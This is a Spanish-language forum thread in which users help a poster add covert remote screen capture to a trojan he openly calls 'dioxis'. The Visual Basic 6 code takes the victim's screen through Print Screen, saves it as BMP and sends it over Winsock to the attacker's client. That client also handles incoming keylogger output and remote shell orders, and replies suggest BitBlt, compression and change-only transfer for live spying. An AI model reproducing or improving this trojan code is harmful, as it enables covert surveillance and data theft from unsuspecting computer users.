Autor
|
Tema: Problema con envio de imagen bmp en VB (Leído 2,767 veces)
|
50l3r
Desconectado
Mensajes: 784
Solo se que se algo pero no me acuerdo
|
Veran para la 5 version del dioxis queria acoplarle un visor de capturas del host remoto Lo ya realizado y conseguido con exito ha sido que la cree en el lugar donde se dice en el host remoto, ahora me toca la parte en la que la tengo que enviar Despues de ir a recursosvb y demas, encontre ejemplos pero que no me han llegado a funcionar bien La estructura que tengo que seguir es esta Cliente ordena a servidor que realize la captura Servidor realiza la captura y manda el tamaño El cliente recoge el tamaño y manda un mensaje para que envie los datos El cliente manda los datos
Aqui es donde esta la duda, en el dataarrival del cliente lo tengo asi dim devu as string wsk.getdata devu ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien con esto quiero decir que si no defino la variable, para variant no funciona, si la pongo en byte no me tiran las ordenes con strings y si la pongo en byte no me funcionan los strings alguna ayuda quien lo haya entendido?
|
|
|
En línea
|
|
|
|
Jaixon Jax
Desconectado
Mensajes: 859
|
Yo estuve haciendo eso con puertos UDP en c+++ no solo imagenes sino archivos xls,ppt,doc,accb XD y nunca me llegaba el archivo integro lo que hice fue especificar en el los dos programas cliente y servidor que se envia y se recibe un stream no un string. y emviaba el archivo por partes si era muy grande jeje . Saludos
|
|
« Última modificación: 23 Julio 2009, 16:05 pm por Jaixon Jax »
|
En línea
|
|
|
|
50l3r
Desconectado
Mensajes: 784
Solo se que se algo pero no me acuerdo
|
ya, pero alguna idea para esto?
porque el problema esta en la variable, o envio strings o bytes
|
|
|
En línea
|
|
|
|
Jaixon Jax
Desconectado
Mensajes: 859
|
Si estas capturando una instantanea de la pantalla y lo estas guardando en bmp Xd en que andas? estos archivos por lo general son grandes de mas de 1MB lo que lo hace muy grande para enviar mas cuando el ancho de banda es limitado como el mio que apenas raya los 30kb por lo que lo tienes que comprimir y al hacerlo te queda en 80Kb no se mucho de visual basic pero si tal vez leyeras segmentos del archivo en un stream y lo envias como tal y el el receptor recbiera esos datos como stream claro cliente y servidor de mismo tamaño el puntero y lo vas uniendo creo que funcionaria mas. Saludos
|
|
|
En línea
|
|
|
|
50l3r
Desconectado
Mensajes: 784
Solo se que se algo pero no me acuerdo
|
lo mejor sera cambiarlo a jpg, me mirare algo por ahi, pero en cuanto a la variable... haber que hago
|
|
|
En línea
|
|
|
|
yovaninu
Desconectado
Mensajes: 349
|
Cliente ordena a servidor que realize la captura Servidor realiza la captura y manda el tamaño El cliente recoge el tamaño y manda un mensaje para que envie los datos El cliente manda los datos
El cliente manda los datos
Parece que ahi debio ser "Servidor envia los datos" y a modo de sugerencia puedo decirte los sgte en cuanto a tus capturas: - Definitivamente tienes que pasar el BMP a JPG, usando por ejemplo el GDI Plus, en la red hay una clase para basic que usa esas APIS y esta listo para usar
- Para acelerar la transferencia de la captura, tambien puedes convertirla a escala de grises, de ese modo el archivo ademas de estar en JPG, esta en solo 2 colores (blanco y negro) por lo que se consigue una disminucion entre el 25 y 30% del tamaño original
- Para reducir mas aun el tiempo de transferencia y el tamaño del archivo puedes "ESCALAR" la captura, este metodo me ha dado resultados extraordinarios pues una captura de toda la pantalla me ha llegado a pesar 1KB (Un KB), por supuesto que es una captura muy pequeña, de 20x20 pixeles por ejemplo, pero se entiende muy bien pudiendo aumentar el zoom pero sin sobrepasarse en el tamaño, un buen escalado a 8x o 9x en donde se ve casi todo no pasa de los 20 o 25KB y eso es muy muy aceptable para transferirlo
- Pero hay mas, puedes trozear la captura, es decir que solo mandes a capturar una zona de la pantalla a determinada resolucion, a determinado tamaño, e incluso covertido a escala de grises y escalado, con lo que consigues, buenas capturas, nitidas y de menor tamaño, para una facil transferencia
- y esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono
dim devu as string wsk.getdata devu ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien La transferencia de archivos se hace a puro "strings", y no solo de archivos sino de cualquier cosa... si "devu" es string, no hay ningun problema, tu captura se recibira sin problemas en esa variable, claro que hay que estar acumulando cada vez que el servidor vaya enviando el archivo de la captura. con esto quiero decir que si no defino la variable, para variant no funciona
Particularmente no uso nunca el tipo variant
|
|
|
En línea
|
|
|
|
Jaixon Jax
Desconectado
Mensajes: 859
|
y esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono
Digo no para esto tambien seria optimo la captura de video por alli hay unas librerias que permiten hacer todo esto. Pero me parece que hacer esto en el clasico cliente servidor es un poco arriesgado por la cuestion de las ip y los ISP Otra cosa si las imagenes a comparar son capturas de pantalla la podemos comparar por simple comparacion de pixel y ajustar cierto coeficiente de parecido que sean un 80 o 90% en cambio si son fotos ya hay que recurrir a redes neuronales XD.
|
|
« Última modificación: 23 Julio 2009, 17:50 pm por Jaixon Jax »
|
En línea
|
|
|
|
50l3r
Desconectado
Mensajes: 784
Solo se que se algo pero no me acuerdo
|
asi que con string pasaria? ok, y que lo guardo asi directamente en la imagen? mira un poquitin esta es la estructura: El cliente manda la señal para que capture la imagen, la guarde y envie el tamaño
Private Sub Command1_Click() wsk.SendData "<<-envia-capt->>" imag3n = "encendido" End Sub
El servidor coge la señal y manda el tamaño y demas
ordenimgenv = InStr(1, orden, "<<-envia-capt->>") If ordenimgenv <> 0 Then Call Capturar_Guardar End If
Private Sub Capturar_Guardar() Dim rutaimg As String MsgBox "cogiendo captura" rutaimg = Environ$("homedrive") & "\cap.bmp" If Dir(rutaimg) <> "" Then Kill rutaimg Clipboard.Clear ' limpiar clipboard Call keybd_event(44, 2, 0, 0) ' apretar impr pant DoEvents If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system If Dir(rutaimg) <> "" Then wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg) MsgBox "envie los datos" End If End Sub
El cliente recibe el tamaño y pone la variable imag3n = noimagen para poder recibir los datos y avisa al servidor que le mande los datos If imag3n = "encendido" Then MsgBox "entra a coger tamaño" wsk.GetData vData, vbString MsgBox vData averiarc = InStr(1, vData, ">>|Archivo|<<") If averiarc = 0 Then imag3n = "noencendido" lBytes = 0 vData = Split(vData, ">>|Archivo|<<") lFileSize = vData(1) MsgBox "tamaño: " & vData(1) ' Le enviamos como mensaje al cliente que comienze el envio del archivo wsk.SendData "<<--envia-datos-->>" 'Creamos un archivo en modo binario Open rutaimg For Binary Access Write As #1
El servidor recibe la orden y manda los datos
ordenimgenv2 = InStr(1, orden, "<<--envia-datos-->>") If ordenimgenv2 <> 0 Then Call enviar_img End If
Private Sub enviar_img() Dim imagen As String Dim Size As Long Dim arrData() As Byte imagen = Environ$("homedrive") & "\cap.bmp" Open imagen For Binary Access Read As #1 ' abrimos la captura Size = LOF(1) ' obtenemos el tamaño de la captura ReDim arrData(Size - 1) ' redimensionamos la variable Get #1, , arrData ' le pasamos todo a la variable Close wsk.SendData arrData End Sub
El cliente esta preparado ya para recibir el archivo
ElseIf imag3n = "noencendido" Then MsgBox "entra a coger los datos" ' Aumentamos lBytes con los datos que van llegando lBytes = lBytes + bytesTotal 'Recibimos los datos y lo almacenamos en el arry de bytes wsk.GetData arrData 'Escribimos en disco el array de bytes, es decir lo que va llegando Put #1, , arrData ' Si lo recibido es mayor o igual al tamaño entonces se terminó y cerramos 'el archivo abierto If lBytes >= lFileSize Then 'Cerramos el archivo Close #1 'Reestablecemos el flag y la variable lBytes por si se intenta enviar otro archivo flag = False lBytes = 0 'Mostrar mensaje de finalización MsgBox "El archivo se ha recibido por completo" imag3n = "" End If End If
Luego en todo caso de que no se quiera recibir imagen sigue con lo demas
Else wsk.GetData devu nickcmpr = InStr(1, devu, "<<necesito-nick>>") If nickcmpr <> 0 Then MsgBox "Al parecer " & wsk.RemoteHostIP & " necesita nick :_" nick = InputBox("Pon el nick que desees a " & wsk.RemoteHostIP, "Ingresando nick", "") wsk.SendData "<<toma-nick>>" & nick txtnick = nick Exit Sub End If nickcmprr = InStr(1, devu, "<<NICK>>") If nickcmprr <> 0 Then ola = Split(devu, "<<NICK>>") txtnick = ola(1) Exit Sub End If For i = 0 To Len(devu) busca = InStr(1, devu, ">>|chating>>") Next If busca <> 0 Then mens = Split(devu, ">>|chating>>") frmchat.Text1.Text = frmchat.Text1.Text & vbCrLf & "El usuario remoto te dice:" & vbCrLf & mens(1) & vbCrLf Exit Sub End If If Left(devu, 10) = "\\TECLAS//" Then keyko = Split(devu, "\\TECLAS//") If devu = Chr(13) Then ' si encuentra un enter frmklg.txtkey.Text = frmklg.txtkey.Text & vbCrLf Exit Sub End If If devu = Chr(9) Then frmklg.txtkey.Text = frmklg.txtkey.Text & Chr(9) ' si encuentra un tabulador escribiendo: frmklg.txtkey.Text = frmklg.txtkey.Text + keyko(1) Exit Sub End If ' ordenes shell remota txtdlv.Text = devu Exit Sub End If End Sub
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
en el WinSock del Servidor puedes espesificar la obtencion de datos de la siguiente forma winsock.getdata Datos, vbString ó w.GetData datos, vbByte ' Este nunca lo prove
pero si deseas otra forma puede generar una funcion que transforme el byte en string y viceversa¡! Dulces Lunas.
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
yovaninu
Desconectado
Mensajes: 349
|
Private Sub Command1_Click() wsk.SendData "<<-envia-capt->>" imag3n = "encendido" End Sub
de preferencia usa un booleano para el flag que indicara la recepcion del A R C H I V O de la imagen, por que a las finales es solo eso un archivo. ordenimgenv = InStr(1, orden, "<<-envia-capt->>") [/quote] usa split, es mas comodo, no deberias liarte mucho con InSTR [quote] [code=vb]Private Sub Capturar_Guardar() Dim rutaimg As String MsgBox "cogiendo captura" rutaimg = Environ$("homedrive") & "\cap.bmp" If Dir(rutaimg) <> "" Then Kill rutaimg Clipboard.Clear ' limpiar clipboard Call keybd_event(44, 2, 0, 0) ' apretar impr pant DoEvents If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system If Dir(rutaimg) <> "" Then wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg) MsgBox "envie los datos" End If End Sub
te recomiendo que uses otro metodo para capturar la pantalla y no usando la tecla print screen, en vez de ello puedes usar la API bitblt y al respecto encontraras muchas info en el tio google ademas de ser tambien mucho mas cómodo. If imag3n = "encendido" Then MsgBox "entra a coger tamaño" wsk.GetData vData, vbString MsgBox vData averiarc = InStr(1, vData, ">>|Archivo|<<") If averiarc = 0 Then imag3n = "noencendido" lBytes = 0 vData = Split(vData, ">>|Archivo|<<") lFileSize = vData(1) MsgBox "tamaño: " & vData(1) ' Le enviamos como mensaje al cliente que comienze el envio del archivo wsk.SendData "<<--envia-datos-->>" 'Creamos un archivo en modo binario Open rutaimg For Binary Access Write As #1
mira me parece mucho lio, la cosa es simple una vez que el servidor empieza a enviar los datos del archivo (cuando en el cliente el flag este a true), tu lo vas recibendo y acumulando en una variable, luego si el tamaño de dicha variable es igual al tamaño que mas antes recibiste entonces es recien ahi donde creas el archivo y dentro escribes toda la variable (archivo) Private Sub enviar_img() Dim imagen As String Dim Size As Long Dim arrData() As Byte imagen = Environ$("homedrive") & "\cap.bmp" Open imagen For Binary Access Read As #1 ' abrimos la captura Size = LOF(1) ' obtenemos el tamaño de la captura ReDim arrData(Size - 1) ' redimensionamos la variable Get #1, , arrData ' le pasamos todo a la variable Close wsk.SendData arrData End Sub
ademas no hay necesidad de pasar la imagen a un array, tu solo declara una variable string asi: Dim DatosArchivo As String
y en esa variable sacas el contenido de la imagen, y es todo. Suerte con tu capturador, y solo se trata de un archivo mas comun y corriente, saludos.[/code]
|
|
|
En línea
|
|
|
|
|
|